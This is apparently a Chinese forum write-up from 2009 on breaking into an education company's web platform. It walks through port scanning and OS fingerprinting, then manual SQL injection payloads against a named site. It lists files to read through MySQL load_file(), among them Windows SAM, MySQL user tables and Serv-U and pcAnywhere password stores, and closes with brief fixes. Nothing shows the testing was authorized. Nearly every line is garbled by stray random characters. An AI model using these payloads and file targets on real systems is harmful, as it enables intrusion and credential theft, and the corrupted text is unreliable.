题记:
0 L: r) N" F6 f) f% l0 B一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
% E0 q# O7 f9 W* z. W# z7 R5 X第一步:获取需要的信息0 M% e( K5 q+ ~8 ~$ l
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
' G m% t& c$ ?$ M9 w注:以下为保护特用XXX代替敏感信息
1 _# I, b5 G- Y9 U" l0 e顺手先PING了一下他们的域名:
0 [2 C- K# N( {# x: jping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
@9 y. t" o2 W* T4 R64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
( L4 Q! q( e6 I' Y% y7 L顺便了解一下TTL,学好基础知识才能一路顺风:
: C' q2 |' G: [4 gTTL:(Time To Live ) 生存时间5 A8 a( |1 D" p4 }' U
指定数据包被路由器丢弃之前允许通过的网段数量。
, C- h; `* n, r; N4 { STTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
1 R0 ?0 l I+ ]# g: Q! G使用PING时涉及到的 ICMP 报文类型% r5 M Z& |) B2 x
一个为ICMP请求回显(ICMP Echo Request)2 [8 K# _* r6 E" {% \, W: x
一个为ICMP回显应答(ICMP Echo Reply)
0 v, U) M& u Q, y: J4 nTTL 字段值可以帮助我们识别操作系统类型。, ?* [: Z1 V. `+ ` ]& X; D1 h
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
8 O, ?9 |. w J8 B5 c) H: pCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
; W* `7 y2 Q" e$ E/ p# l* y* v! a微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128+ I; q. v3 ~9 Z
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
8 `9 y w# J0 A8 \当然,返回的TTL值是相同的
8 O# A! P0 P2 r4 ?( Y- @& w9 w但有些情况下有所特殊( h: E" v. s. H& }) n
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 641 D/ i/ d3 H% B
FreeBSD 4.1, 4.0, 3.4;9 p1 Z0 K B5 e
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
. c* w' o- J, MOpenBSD 2.6, 2.7,
, o' T% I' `4 WNetBSD. o8 G7 Y0 P- B# m U
HP UX 10.20
+ ] \' s1 Z% i: }1 w* Q x; u7 LICMP 回显应答的 TTL 字段值为 255" Q" a- D& u& b: r3 t4 c, v& _, P7 W
Windows 95/98/98SE# x: D A0 C, P8 _0 p7 d- D8 y% L
Windows ME/ R* H- _1 K2 w" B; K- a( y
ICMP 回显应答的 TTL 字段值为 328 v( f z" v9 {; M" J
Windows NT4 WRKS: N1 r2 B6 z2 X8 b; W
Windows NT4 Server4 l7 l0 \* K& n# s% c; _! {" {6 _
Windows 2000
4 }8 U5 [7 `; s: H! W% J! e# E' {/ `Windows XP
8 j) Q, W3 Z2 u2 `0 u( NICMP 回显应答的 TTL 字段值为 1285 y B; j4 @' ?5 d
这样,我们就可以通过这种方法来辨别操作系统
7 [8 r9 u8 R0 ^$ \9 tTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255' E/ n' P& c k: n+ P, Y
用NMAP扫描一下:$ N) O2 F* u' ~; @$ _7 m
nmap -sT -O XXX.XXX.XXX.XXX
& L$ ~4 ?1 f& h1 i" N% m如果没有装WinPcap则会弹出提示:
8 y' |. ]+ { i w1 [' a; t; YWARNING: Could not import all necessary WinPcap functions. You may need to upgr
6 `: d$ L/ x# Made to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
9 I5 L M$ e& w4 ~! S' p6 N( S) mode — Nmap may not function completely
& k0 [1 B4 H# VTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
4 f$ ^9 u; {- F7 r6 \and iphlpapi.dll be installed. You seem to be missing one or both of these. Win! o! |$ i6 X, X9 X' \: e
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an* k9 S: u1 E3 _, [7 I
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
: k; Z6 v! t% _1 S- Sersions, you may be able to take iphlpapi.dll from another system and place it i
f0 o d( x6 h# r, l1 f* Z+ S% Yn your system32 dir (e.g. c:\windows\system32).
1 C. K& M- J7 w# w6 w2 \ f6 IQUITTING!2 T/ [. Q: `0 z; K! ]
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 X B' |0 w4 k安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:3 q# ?: G7 w! S& W; U- S( R% p' e$ J
Interesting ports on XXX.XXX.XXX.XXX:
- I+ E( j, K; F$ iNot shown: 986 closed ports5 _: v6 W7 V8 { V5 O+ A
PORT STATE SERVICE
, ~1 E+ m) M4 ^! I" {6 ~" A21/tcp open ftp
, H/ A, W# {( v+ s4 m. `; _6 W22/tcp open ssh
9 C1 S' J( v& x) _: ]23/tcp open telnet
0 w' w* k. `- X1 p80/tcp open http
- v% D ?, e) I% m ~5 O( u111/tcp open rpcbind9 j# V* B& G8 {
135/tcp filtered msrpc3 r7 v1 R: y* i( `, t' C" e3 f
139/tcp filtered netbios-ssn$ \1 J i4 e0 t
445/tcp filtered microsoft-ds
% `( B8 Y% g9 V4 l$ x \. q513/tcp open login! @* ?* m! _4 d+ n( u/ F
514/tcp open shell) F2 v) c, H; v* E0 J
593/tcp filtered http-rpc-epmap& S, V+ t6 S6 o, z1 Y/ c9 u
1720/tcp filtered H.323/Q.931: W# _0 ^: w& U
3306/tcp open mysql
; h) P$ N: l! a8 F( U4444/tcp filtered krb524! X% v0 o0 x- `; j. m
Device type: WAP
( I7 s! Q: `7 O7 | v3 }4 ]! lRunning: Linux 2.4.X( V8 W# }1 Q5 u# O1 K* n
OS details: DD-WRT (Linux 2.4.35s)
: d5 b z: D6 g& \; U: MNetwork Distance: 13 hops9 ^9 p$ ~' M: G% C
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
; y7 {! h' q( Elogin as:! a. D; e) U$ q- h, \& d8 x
Telnet23端口也是开着的,用telnet 命令链接一下:
2 z- V- |) N$ ?2 w0 L! z: mtelnet XXX.XXX.XXX.XXX" y1 Y* Z4 a- n
提示:
4 W5 z3 c% O1 {: R/ O6 e6 URed Hat Enterprise Linux Server release 5.2 (Tikanga): d Y" ?3 J! A: A
Kernel 2.6.18-92.el5PAE on an i6869 \7 F- x. H3 D/ T
login:5 x; Q4 H, j; Z% P3 r. Q0 ~! [! D6 z& R
获取HTTP头信息:: i2 c8 z: _: d- Y
在本地执行如下PHP代码
9 I" y( e; P; }. G9 [. F, l<?php
- n* S* w! _; j, p7 y! d' u$url = ‘XXX.XXX.XXX.XXX’;
* n$ U- O, w+ p& oprint_r(get_headers($url));
, u1 x* k! ~$ z% L6 d- \: Y7 \print_r(get_headers($url, 1));/ U0 [4 j$ x; u0 V* V6 @
?>
$ [" }* d7 ]0 J$ I. z) k将以上代码保存为PHP文件,执行:: g T4 d6 V. a& Y. a
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
x* i3 n+ n w: X, G现在可以得出结论:
" p" ?% q) d7 [) U6 p. s1 N& X系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
5 C& v* s* |6 H8 R% ~内核版本:Kernel 2.6.18-92.el5PAE on an i686" O. w6 o O O4 `7 Z
WEB服务器版本:nginx/0.7.61
* P1 g; c D% l& K( X: D第二步,开始测试寻找漏洞, p4 L; `$ h! }: a' Z$ W0 i
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。, Z0 S+ j* W7 q% M8 n4 \3 @3 \. M- Y g
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的7 r7 G) w+ K% F
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
4 d V& P, t: ^1 o" z0 h/ Y# _http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常8 V6 s" \' }7 w4 y/ D/ q
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误4 O+ c* H8 _, N/ O# I* [9 |8 o; Z
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
! v& [: [" K% m* ~5 ~3、手工注入:
2 Y3 G, t! m6 Z9 d注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
5 `! t$ x" A$ g* `+ N3.1 猜测当前表字段数
" N- h6 ^: S1 W/ g4 w( J4 Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
" {' V3 `/ U8 W. B* R此处猜测有个简单的算法,都是有技巧的吗,呵呵
: U% J6 G$ w; x3 I算法简单如下:! Z/ U) ^3 n [3 }9 a% g7 a
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
/ Q3 p$ k v% v% a) J# C# i第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;2 L* J% s4 ~( F- V
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
3 E0 e- _5 q. R! ]/ A2 j% l以此来判断,是否过界,配合取中算法猜出字段数。
& |3 b) [* l! U$ d) D举例: x3 X$ X! A6 ~; E! R
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
; m* I0 y$ N- X3 ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误3 K! C7 W: I# a1 u% v q' J4 X
此时3则为我们要找的字段数。) W- o6 v) G$ _
3.2 配合union联合查询字段在页面所位置4 D4 _" {9 Y2 C/ V, u: z
我们已经知道了字段数为3,此时则可以做如下操作:+ D& v& S, j' k: f$ L6 w
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
2 e* c) M& v9 p- f4 `1 `; d( f u. f- S2 a4 M0 u
这样就可以测试到哪些字段在页面上有所显示了,如图:
- o! d- }6 H. G' l- t
' d3 U- m) A0 Z, X$ ]1 c8 q2 ?3.3 查敏感信息
6 U# _, u, W( w0 u这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
" M0 j/ J& ]( nhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()+ T4 C1 G5 U( {( v7 p
3.3.1 先查数据库用户、数据库名,以备后用,如图:- S0 _+ g. v5 g
$ [2 e; S9 d/ n* j* _ |
得到数据库用户为root、数据库名为DBxx;
/ j! W- m% a. k$ Y/ Q5 M3 ]/ E3.3.2 查配置文件2 `$ w& V( X0 e
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。- \! o* M) f* R0 o- m
查看文件有一定的条件限制:
& T+ d+ c9 G/ g- z, z3 Q3 @! E欲读取文件必须在服务器上, U5 i: Y/ A) B- ^* j ?) e1 Z+ @
必须指定文件完整的路径- J( C0 k7 m5 f' r3 B: m
必须有权限读取并且文件必须完全可读3 n, P' j9 W) j* ?" w' E
欲读取文件必须小于 max_allowed_packet9 N9 i5 b0 e" }& Z1 d) C4 f
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。( V) q6 Y0 [ \$ N: f0 p
常用的一些:
& ]7 e0 v/ J1 H, s/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
- u3 E! p9 K' m! D0 N( \# G7 j/usr/local/apache2/conf/httpd.conf3 F. N# }4 O' M t3 j& ~: ^
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置" {& q6 m* c' W0 [% F' D
/usr/local/app/php5/lib/php.ini //PHP相关设置
/ p% A- @" Q3 v/ `3 c0 x! I5 B/etc/sysconfig/iptables //从中得到防火墙规则策略
4 j0 x9 _8 t8 t/etc/httpd/conf/httpd.conf // apache配置文件
$ m X- i) M& o) A N/etc/rsyncd.conf //同步程序配置文件( ^6 o0 C7 \& ^7 f- ^" p% r% s+ l5 M$ ]
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.- L7 X" w u! N9 G0 F7 O# }
/etc/my.cnf //mysql的配置文件9 I: I$ H h! s1 p2 [
/etc/redhat-release //系统版本
# R: ]' e+ R% o6 D4 l1 N6 _0 a/etc/issue
0 o+ K6 v& F0 o5 M" g6 e/etc/issue.net$ h# r* F: z: ?% ~
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 D4 l" G' p8 R
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
3 @& o# m8 I( k9 M6 ]c:\Program Files\Serv-U\ServUDaemon.ini# c- W6 ~$ J) n+ e
c:\windows\my.ini //MYSQL配置文件) B. f" a6 {3 _& ~% e6 E+ R
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件, b. T" a" z1 A. a) C+ ]
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件, ^4 V- e- t/ Y& q1 ~+ e$ [
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
& P) p0 a( d" Q; ]) ^0 c: Nc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
: }6 w X4 D2 \1 \9 oc:\Program Files\RhinoSoft.com\ServUDaemon.exe
% A8 ]2 ?( u1 W- N" w/ YC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件& N; D/ \# X2 @2 \# R
//存储了pcAnywhere的登陆密码- j5 m: [! m+ | G: `) b7 c
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。4 \& f+ _0 K0 @. k4 F9 ~
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。4 {: P1 a# ^+ i8 j; L
最后:防范措施
9 L# }, z; G$ ^1、修复PHP注入漏洞;
1 `+ s9 S& K* Y2 C; J" v& {' I2、Mysql使用普通权限的用户;
2 N7 J# \6 [1 u Q& i( k3、升级linux内核至最新版本; |